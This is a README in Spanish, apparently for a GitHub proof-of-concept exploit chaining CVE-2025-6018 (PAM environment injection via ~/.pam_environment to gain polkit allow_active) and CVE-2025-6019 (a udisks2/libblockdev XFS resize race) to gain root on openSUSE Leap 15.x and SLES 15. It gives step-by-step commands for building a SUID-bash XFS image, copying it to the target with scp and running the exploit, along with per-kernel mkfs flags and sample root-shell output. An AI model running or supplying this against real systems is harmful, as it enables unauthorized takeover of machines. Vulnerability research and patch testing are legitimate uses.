
CVE-2025-6018 CVE-2025-6019 PoC Exploit - Escalada de privilegios local en openSUSE/SUSE Linux Enterprise 15 - bypass de PAM + condición de carrera en udisks2 XFS LPE a root
PoC/Exploit funcional para CVE-2025-6018 y CVE-2025-6019 - Escalada de privilegios de un usuario sin privilegios a root en openSUSE Leap 15.x y SUSE Linux Enterprise 15.x
| CVE ID | Vulnerabilidad | Impacto |
|---|---|---|
| CVE-2025-6018 | Inyección de Variables de Entorno en PAM | Bypass al estado allow_active de polkit |
| CVE-2025-6019 | Condición de Carrera en XFS Resize de udisks2/libblockdev | Shell root |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Nota: openSUSE Leap 15.6 llega a su fin de vida el 30 de abril de 2026. Después de esta fecha, no se publicarán parches de seguridad. Los usuarios deben migrar a Leap 16.0 o a SLES con soporte extendido.
user_readenv=1allow_active: yes para acciones de udisks2./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
Ejecutar en la máquina ATACANTE como root:
⚠️ DEBES usar el binario
/usr/bin/bashde la víctima, no uno local. Un binario de bash de una distro diferente (Kali, Arch, Ubuntu, etc.) fallará en el objetivo debido a la incompatibilidad de ABI de glibc/bibliotecas compartidas, incluso en la misma arquitectura x86_64.
El script detecta automáticamente tu versión de xfsprogs y aplica las opciones correctas:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
La imagen XFS debe formatearse con opciones compatibles con el kernel del objetivo. Las versiones más recientes de xfsprogs habilitan por defecto funciones en disco que los kernels SUSE más antiguos no pueden leer, lo que provoca errores de wrong fs type, bad superblock durante el montaje de redimensionado de udisks2.
| Destino | Kernel | Comando mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
¿Por qué? exchange y parent son funciones del kernel 6.10+ (activadas por defecto en xfsprogs 6.x). bigtime, inobtcount y nrext64 son funciones del kernel 5.10+. El comando "compat" de SP1-SP4 (-m crc=0,reflink=0) crea un formato XFS V4 con todas las funciones modernas deshabilitadas, que funciona en todos los SP de SUSE 15.
Vulnerabilidad: El módulo pam_env de PAM lee ~/.pam_environment con user_readenv=1 (valor predeterminado en SUSE), lo que permite la inyección de variables de entorno.
Explotación: Establece XDG_SEAT=seat0 y XDG_VTNR=1 para engañar a systemd-logind y conseguir que otorgue privilegios polkit allow_active.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Vulnerabilidad: Al redimensionar el sistema de archivos XFS a través de udisks2, libblockdev monta temporalmente el sistema de archivos sin la bandera nosuid.
Explotación:
./exploit.sh --check
Salida:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Salida:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Salida:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#